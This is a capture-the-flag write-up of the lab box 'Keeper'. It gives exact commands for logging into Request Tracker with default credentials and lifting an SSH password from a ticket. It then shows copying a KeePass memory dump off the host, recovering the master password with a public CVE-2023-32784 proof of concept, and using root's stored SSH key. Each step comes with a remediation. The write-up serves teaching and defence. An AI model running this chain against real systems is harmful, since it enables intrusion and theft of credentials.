jperezduerto.info
Keeper
Linux· Easy· Credential Access· Privilege Escalation
Summary
I browsed to a Request Tracker support portal that was still running factory-default credentials, logged in as the built-in administrator, and found a plain-text employee SSH password recorded inside a ticket note. That password gave an interactive shell on the server.
The user's home directory held a KeePass database alongside a process memory dump; CVE-2023-32784 recovered the master password character by character from the dump. The unlocked database contained the system administrator's PuTTY-format private SSH key, which I converted and used to log in as root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
1ReconnaissanceService Discovery / Port Scanning (MITRE T1046)
Discovered the Request Tracker web portal
Port scanning showed an HTTP service on the target. Adding the hostname to my local hosts file revealed a Request Tracker ticketing application login page — publicly reachable with no authentication required to even load the portal.
Exact commands 2
shell
Identify open ports and banner-grab service versions.
$ nmap -sC -sV -p 22,80,443,8080 $TARGETshell
Map the virtual-host name used by the RT web application.
$ echo "$TARGET keeper.htb tickets.keeper.htb" >> /etc/hosts2Initial AccessDefault Credentials (MITRE T1078.001)
Logged into Request Tracker with the factory-default password
The RT installation had never had its built-in admin account password changed from the well-known default (root / password). I entered these credentials and received full administrative access to every ticket in the system — no brute-force required.
RT admin panel accessible with root:password; complete ticket queue exposed.
Exact commands 2
shell
Authenticate with the default RT admin credentials; a 302 redirect confirms success.
$ curl -v -c /tmp/rt_cookies.txt -X POST 'http://tickets.keeper.htb/rt/NoAuth/Login.html' -d 'user=root&pass=password&next='shell
List all tickets as the authenticated admin.
$ curl -b /tmp/rt_cookies.txt 'http://tickets.keeper.htb/rt/Search/Results.html?Query=id+%3E+0&OrderBy=id&Order=DESC&RowsPerPage=50'FixChange all default application credentials immediately after deploymentCritical
WeaknessThe Request Tracker installation retained its factory-default administrator login (root / password). Any visitor who knew this well-documented default gained full admin access to every ticket in the system.
FixChange the RT root password immediately after installation to a strong, randomly generated value (≥16 characters). Add the RT admin login URL to your vulnerability scanner's credential-check policy so default passwords are automatically flagged in future audits. Consider restricting the RT admin panel to internal IP ranges at the web-server or firewall level.
3Credential AccessCredentials in Files / Notes (MITRE T1552.001)
Read user lnorgaard's SSH password from a ticket note
Browsing the open tickets revealed an administrator note that recorded the password for user lnorgaard in plain text — intended as a temporary onboarding convenience. Anyone with access to the ticketing system could read it instantly.
Ticket body contains: 'lnorgaard / <withheld>' — read by me after gaining RT admin access.
Exact commands 1
shell
Open the ticket containing the plaintext credential; adjust the ticket ID by browsing the RT queue first.
$ curl -b /tmp/rt_cookies.txt 'http://tickets.keeper.htb/rt/Ticket/Display.html?id=300000'FixNever record passwords in ticket notes or other plain-text collaboration toolsHigh
WeaknessA system administrator stored user lnorgaard's SSH password directly in a support ticket. Anyone who gained access to the ticketing system — including anyone who had just exploited the default credential flaw — could read it immediately.
FixEstablish and enforce a written policy that passwords must never appear in tickets, wiki pages, chat messages, or email threads. Deliver initial credentials to users through a PAM (Privileged Access Management) vault or password manager over an authenticated, audited channel, and require a forced password change on first login so the shared credential is invalidated instantly.
4FootholdValid Accounts – Local Account (MITRE T1078.003)
SSH'd into the server as lnorgaard and captured the user flag
The password harvested from the ticket worked directly against the SSH service. I got an interactive shell as a normal, unprivileged user. The user flag was immediately readable from the home directory.
Id output: uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard); /home/lnorgaard/user.txt confirmed present.
Exact commands 1
shell
Confirms foothold, enumerates home directory, and reads the user flag (<user.txt>).
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 lnorgaard@$TARGET 'id; hostname; pwd; ls -la ~; cat /home/lnorgaard/user.txt'
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)5Credential AccessKeePass Memory Scraping – CVE-2023-32784
Recovered the KeePass master password from a memory dump (CVE-2023-32784)
The user's home directory contained both a KeePass database (RT.kdbx) and a KeePass process memory dump (KeePassDumpMinimal.dmp). CVE-2023-32784 is a flaw in KeePass 2.x where the master password persists in cleartext in memory. I downloaded both files and ran a public exploit tool that scanned the dump and reconstructed the master password character by character — without ever needing to brute-force it.
KeePassDumpMinimal.dmp and RT.kdbx found in /home/lnorgaard/.
Exact commands 3
shell
Download the memory dump and KeePass database to my machine.
$ sshpass -p "$PASSWORD2" scp -o StrictHostKeyChecking=no lnorgaard@$TARGET:'/home/lnorgaard/KeePassDumpMinimal.dmp /home/lnorgaard/RT.kdbx' ~/keeper/shell
Run the CVE-2023-32784 PoC (vdohney/keepass-password-dumper on GitHub); outputs candidate master password characters, e.g. <withheld>.
$ cd /opt/keepass-password-dumper && dotnet run ~/keeper/KeePassDumpMinimal.dmpshell
Open the database with the recovered master password; navigate entries to locate the root SSH key in the Notes field.
$ kpcli --kdb ~/keeper/RT.kdbx --pass "$PASSWORD"FixUpgrade KeePass to 2.54+ and remove all process memory dump files (CVE-2023-32784)Critical
WeaknessKeePass 2.x before version 2.54 retains the master password in cleartext in process memory. A KeePass memory dump file left in the user's home directory allowed an unauthorised user to reconstruct the master password without brute force, unlocking the entire secrets database.
FixUpgrade KeePass to version 2.54 or later, which mitigates CVE-2023-32784 by scrubbing the master key from memory. Delete all existing .dmp files from the filesystem immediately and audit home directories for any similar diagnostic artifacts. Restrict .kdbx file permissions so only the owning user account can read them (chmod 600), and ensure no automated process can create memory dumps of the KeePass process.
6Privilege EscalationSSH Private Key Theft (MITRE T1552.004)
Used root's PuTTY private key (stored in KeePass) to log in as root
Inside the KeePass database, an entry for the root account held a PuTTY-format (.ppk) private SSH key in its notes field. I saved the key, converted it to the standard OpenSSH format, and connected directly as root — no password or additional exploit needed. Full system compromise was achieved.
Exact commands 2
shell
Convert the PuTTY private key to OpenSSH format and restrict its permissions.
$ puttygen ~/keeper/root.ppk -O private-openssh -o ~/keeper/root_id_rsa && chmod 600 ~/keeper/root_id_rsashell
Authenticate as root and read the root flag (<root.txt>).
$ ssh -i ~/keeper/root_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 root@$TARGET 'id; cat /root/root.txt'FixDo not store root SSH keys inside a secrets database hosted on the same serverHigh
WeaknessThe root account's SSH private key was kept inside a KeePass database that resided on the very server it could unlock. Compromising any user account with filesystem access to the database also meant compromising root.
FixNever store credentials that grant privileged access to a system inside a vault hosted on that same system. Keep root SSH keys in an offline, air-gapped vault or a dedicated PAM solution external to the target server. Additionally, disable direct root SSH login by setting PermitRootLogin no in /etc/ssh/sshd_config and require all operators to authenticate as a named account and escalate via sudo, creating an auditable trail.